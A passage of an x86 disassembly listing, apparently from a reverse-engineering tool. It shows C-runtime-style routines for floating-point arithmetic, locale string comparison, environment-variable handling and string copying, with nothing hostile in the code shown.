loc_421F7D:				; CODE XREF: sub_421EA1+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421FA8
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_421FA8:				; CODE XREF: sub_421EA1+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421F7D


loc_421FB5:				; CODE XREF: sub_421EA1+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421F61
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421FF8


loc_421FD3:				; CODE XREF: sub_421EA1+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_421FF1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213B6
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421FD3


loc_421FF1:				; CODE XREF: sub_421EA1+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_422031


loc_421FF8:				; CODE XREF: sub_421EA1+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_422031
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_422011:				; CODE XREF: sub_421EA1+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42201A
		inc	[ebp+var_14]


loc_42201A:				; CODE XREF: sub_421EA1+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213E4
		dec	ebx
		pop	ecx
		jnz	short loc_422011
		cmp	[ebp+var_14], 0
		jz	short loc_422031
		or	byte ptr [ebp+var_24], 1


loc_422031:				; CODE XREF: sub_421EA1+155j
					; sub_421EA1+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_422048
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42207D


loc_422048:				; CODE XREF: sub_421EA1+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42207A
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_422075
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42206F
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_42206F:				; CODE XREF: sub_421EA1+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_422075:				; CODE XREF: sub_421EA1+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_42207A:				; CODE XREF: sub_421EA1+1ABj
		inc	[ebp+var_24+2]


loc_42207D:				; CODE XREF: sub_421EA1+1A5j
					; sub_421EA1+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4220A1
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_42209B:				; CODE XREF: sub_421EA1+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4220BC
; ---------------------------------------------------------------------------


loc_4220A1:				; CODE XREF: sub_421EA1+42j
					; sub_421EA1+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_4220BC:				; CODE XREF: sub_421EA1+ABj
					; sub_421EA1+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: sub_4214D8+440p
					; sub_4219A9+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43C090
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		jge	short loc_4220E9
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43C1F0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_4220E9:				; CODE XREF: sub_4220C1+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4220F4
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_4220F4:				; CODE XREF: sub_4220C1+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		push	esi
		push	edi


loc_4220FB:				; CODE XREF: sub_4220C1+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_422133
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_422126
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_422126:				; CODE XREF: sub_4220C1+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421EA1
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_422133:				; CODE XREF: sub_4220C1+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4220FB
		pop	edi
		pop	esi


loc_42213A:				; CODE XREF: sub_4220C1+14j
					; sub_4220C1+36j
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42213D	proc near		; CODE XREF: sub_421DAE+5Ep
					; sub_422619+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42214A
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42214A:				; CODE XREF: sub_42213D+7j
		push	dword_48B444
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_48B664
		call	sub_4221EA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422177
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422177:				; CODE XREF: sub_42213D+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42213D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42217C	proc near		; CODE XREF: sub_421DAE+1Ep
					; sub_422492+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_48A044
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4221DD
		mov	ebx, dword_424150


loc_422195:				; CODE XREF: sub_42217C+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4221E5
		push	ebp
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4221E5
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_4221E5
		push	edi
		push	[esp+18h+var_4]
		call	sub_422492
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_422195


loc_4221DD:				; CODE XREF: sub_42217C+11j
		xor	eax, eax


loc_4221DF:				; CODE XREF: sub_42217C+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4221E5:				; CODE XREF: sub_42217C+29j
					; sub_42217C+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4221DF
sub_42217C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221EA	proc near		; CODE XREF: sub_42213D+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424C88
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_48A300, ebx
		push	1
		pop	edi
		jnz	short loc_42225D
		push	edi
		mov	eax, offset dword_4248D8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 2590000h
		nop
		test	eax, eax
		jz	short loc_42223A
		mov	dword_48A300, edi
		jmp	short loc_42225D
; ---------------------------------------------------------------------------


loc_42223A:				; CODE XREF: sub_4221EA+46j
		push	edi
		mov	eax, offset dword_43C824
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25905D6h
		test	eax, eax
		jz	loc_422453
		mov	dword_48A300, 2


loc_42225D:				; CODE XREF: sub_4221EA+31j
					; sub_4221EA+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_422274
		push	esi
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_422274:				; CODE XREF: sub_4221EA+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_422289
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_422289:				; CODE XREF: sub_4221EA+8Dj
		mov	eax, dword_48A300
		cmp	eax, 2
		jnz	short loc_4222AE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25905D6h
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_4221EA+A7j
		cmp	eax, edi
		jnz	loc_422453
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4222C3
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax


loc_4222C3:				; CODE XREF: sub_4221EA+CFj
		cmp	esi, ebx
		jz	short loc_4222D0
		cmp	[ebp+arg_14], ebx
		jnz	loc_422368


loc_4222D0:				; CODE XREF: sub_4221EA+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4222DD


loc_4222D5:				; CODE XREF: sub_4221EA+13Cj
					; sub_4221EA+16Dj
		push	2


loc_4222D7:				; CODE XREF: sub_4221EA+146j
		pop	eax
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222DD:				; CODE XREF: sub_4221EA+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_4222E9


loc_4222E2:				; CODE XREF: sub_4221EA+151j
					; sub_4221EA+159j ...
		mov	eax, edi
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222E9:				; CODE XREF: sub_4221EA+F6j
		cmp	esi, edi
		jg	short loc_42232E
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 2861185h
		nop
		test	eax, eax
		jz	loc_422453
		cmp	esi, ebx
		jle	short loc_422332
		cmp	[ebp+var_3C], 2
		jb	short loc_42232E
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42232E


loc_422314:				; CODE XREF: sub_4221EA+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42232E
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422328
		cmp	cl, dl
		jbe	short loc_4222D5


loc_422328:				; CODE XREF: sub_4221EA+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422314


loc_42232E:				; CODE XREF: sub_4221EA+101j
					; sub_4221EA+120j ...
		push	3
		jmp	short loc_4222D7
; ---------------------------------------------------------------------------


loc_422332:				; CODE XREF: sub_4221EA+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422368
		cmp	[ebp+var_3C], 2
		jb	short loc_4222E2
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4222E2


loc_422345:				; CODE XREF: sub_4221EA+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4222E2
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42235D
		cmp	cl, dl
		jbe	loc_4222D5


loc_42235D:				; CODE XREF: sub_4221EA+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422345
		jmp	loc_4222E2
; ---------------------------------------------------------------------------


loc_422368:				; CODE XREF: sub_4221EA+E0j
					; sub_4221EA+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	near ptr 2610000h
		nop
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422453
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4223B7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4223B7:				; CODE XREF: sub_4221EA+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422453
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_424070
		call	esi
		test	eax, eax
		jz	short loc_422453
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422453
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422422
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_422422:				; CODE XREF: sub_4221EA+224j
		cmp	edi, ebx
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2590000h
		jmp	short loc_422455
; ---------------------------------------------------------------------------


loc_422453:				; CODE XREF: sub_4221EA+63j
					; sub_4221EA+C6j ...
		xor	eax, eax


loc_422455:				; CODE XREF: sub_4221EA+BFj
					; sub_4221EA+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_422467	proc near		; CODE XREF: sub_41E709+81p
					; sub_4221EA+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422484


loc_422477:				; CODE XREF: sub_422467+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422484
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422477


loc_422484:				; CODE XREF: sub_422467+Ej
					; sub_422467+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_42248F
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_42248F:				; CODE XREF: sub_422467+21j
		mov	eax, edx
		retn
sub_422467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422492	proc near		; CODE XREF: sub_42217C+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4224F6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4226D8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4224F6
		cmp	[ebp+arg_0], esi
		jz	short loc_4224F6
		mov	eax, dword_48A03C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_48A040
		jnz	short loc_4224DC
		push	eax
		call	sub_422671
		pop	ecx
		mov	dword_48A03C, eax


loc_4224DC:				; CODE XREF: sub_422492+3Cj
		cmp	eax, edi
		jnz	short loc_422534
		cmp	[ebp+arg_4], edi
		jz	short loc_4224FE
		cmp	dword_48A044, edi
		jz	short loc_4224FE
		call	sub_42217C
		test	eax, eax
		jz	short loc_422534


loc_4224F6:				; CODE XREF: sub_422492+Dj
					; sub_422492+22j ...
		or	eax, 0FFFFFFFFh


loc_4224F9:				; CODE XREF: sub_422492+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4224FE:				; CODE XREF: sub_422492+51j
					; sub_422492+59j
		cmp	ebx, edi
		jnz	loc_422612
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_48A03C, eax
		jz	short loc_4224F6
		mov	[eax], edi
		cmp	dword_48A044, edi
		jnz	short loc_422534
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_48A044, eax
		jz	short loc_4224F6
		mov	[eax], edi


loc_422534:				; CODE XREF: sub_422492+4Cj
					; sub_422492+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_48A03C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422619
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422594
		cmp	dword ptr [edi], 0
		jz	short loc_422594
		test	ebx, ebx
		jz	short loc_42258C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C3B
		pop	ecx


loc_422566:				; CODE XREF: sub_422492+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_422576
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_422566
; ---------------------------------------------------------------------------


loc_422576:				; CODE XREF: sub_422492+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4225C6
		jmp	short loc_4225C1
; ---------------------------------------------------------------------------


loc_42258C:				; CODE XREF: sub_422492+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4225C6
; ---------------------------------------------------------------------------


loc_422594:				; CODE XREF: sub_422492+BDj
					; sub_422492+C2j
		test	ebx, ebx
		jnz	short loc_422612
		test	esi, esi
		jge	short loc_42259E
		neg	esi


loc_42259E:				; CODE XREF: sub_422492+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4224F6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4225C1:				; CODE XREF: sub_422492+F8j
		mov	dword_48A03C, eax


loc_4225C6:				; CODE XREF: sub_422492+F6j
					; sub_422492+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422612
		push	[ebp+arg_0]
		call	sub_417AB0
		inc	eax
		inc	eax
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422612
		push	[ebp+arg_0]
		push	esi
		call	sub_4179C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 2580165h
		nop
		push	esi
		call	sub_417C3B
		pop	ecx


loc_422612:				; CODE XREF: sub_422492+6Ej
					; sub_422492+104j ...
		xor	eax, eax
		jmp	loc_4224F9
sub_422492	endp


; =============== S U B	R O U T	I N E =======================================



sub_422619	proc near		; CODE XREF: sub_422492+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_48A03C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422654
		mov	edi, [esp+8+arg_4]


loc_42262B:				; CODE XREF: sub_422619+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42264A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422664
		test	al, al
		jz	short loc_422664


loc_42264A:				; CODE XREF: sub_422619+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42262B


loc_422654:				; CODE XREF: sub_422619+Cj
		mov	eax, esi
		sub	eax, dword_48A03C
		sar	eax, 2
		neg	eax


loc_422661:				; CODE XREF: sub_422619+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422664:				; CODE XREF: sub_422619+2Bj
					; sub_422619+2Fj
		mov	eax, esi
		sub	eax, dword_48A03C
		sar	eax, 2
		jmp	short loc_422661
sub_422619	endp


; =============== S U B	R O U T	I N E =======================================



sub_422671	proc near		; CODE XREF: sub_422492+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422680
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422680:				; CODE XREF: sub_422671+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422692


loc_422688:				; CODE XREF: sub_422671+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_422688


loc_422692:				; CODE XREF: sub_422671+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4226B3
		push	9
		call	sub_419CDA
		pop	ecx


loc_4226B3:				; CODE XREF: sub_422671+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4226B7:				; CODE XREF: sub_422671+5Bj
		test	eax, eax
		jz	short loc_4226CE
		push	eax
		add	ebx, 4
		call	sub_42274B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4226B7
; ---------------------------------------------------------------------------


loc_4226CE:				; CODE XREF: sub_422671+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226D8	proc near		; CODE XREF: sub_422492+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_48B45C, 0
		jnz	short loc_4226F3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418F50
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4226F3:				; CODE XREF: sub_4226D8+Aj
		mov	ecx, [ebp+arg_0]


loc_4226F6:				; CODE XREF: sub_4226D8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_422739
		movzx	edx, al
		test	byte_48B561[edx], 4
		jz	short loc_422725
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_422730
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_422734
		jmp	short loc_42272D
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_4226D8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_422739


loc_42272D:				; CODE XREF: sub_4226D8+4Bj
		inc	ecx
		jmp	short loc_4226F6
; ---------------------------------------------------------------------------


loc_422730:				; CODE XREF: sub_4226D8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422734:				; CODE XREF: sub_4226D8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422739:				; CODE XREF: sub_4226D8+25j
					; sub_4226D8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4226D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42274B	proc near		; CODE XREF: sub_40A7D7+21p
					; sub_422671+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_422772
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422772
		push	esi
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422772:				; CODE XREF: sub_42274B+7j
					; sub_42274B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42274B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422780	proc near		; CODE XREF: sub_422863+19p
					; sub_42298A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_4046A3
		mov	eax, esi
		pop	esi
		retn	8
sub_422780	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227AA	proc near		; CODE XREF: ___:004227D5p
					; sub_422858+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_404667
		mov	ecx, esi
		pop	esi
		jmp	sub_422BA6
sub_4227AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227C5	proc near		; DATA XREF: ___:00424CA8o
					; ___:00424CB8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4227D1
		mov	eax, offset dword_424290

locret_4227D1:				; CODE XREF: sub_4227C5+5j
		retn
sub_4227C5	endp

; ---------------------------------------------------------------------------


loc_4227D2:				; DATA XREF: ___:off_424CA4o
		push	esi
		mov	esi, ecx
		call	sub_4227AA
		test	byte ptr [esp+8], 1
		jz	short loc_4227E8
		push	esi
		call	sub_4182AF
		pop	ecx


loc_4227E8:				; CODE XREF: ___:004227DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4227EE	proc near		; CODE XREF: sub_422863+29p
		mov	eax, offset loc_423122
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4227EE	endp


; =============== S U B	R O U T	I N E =======================================



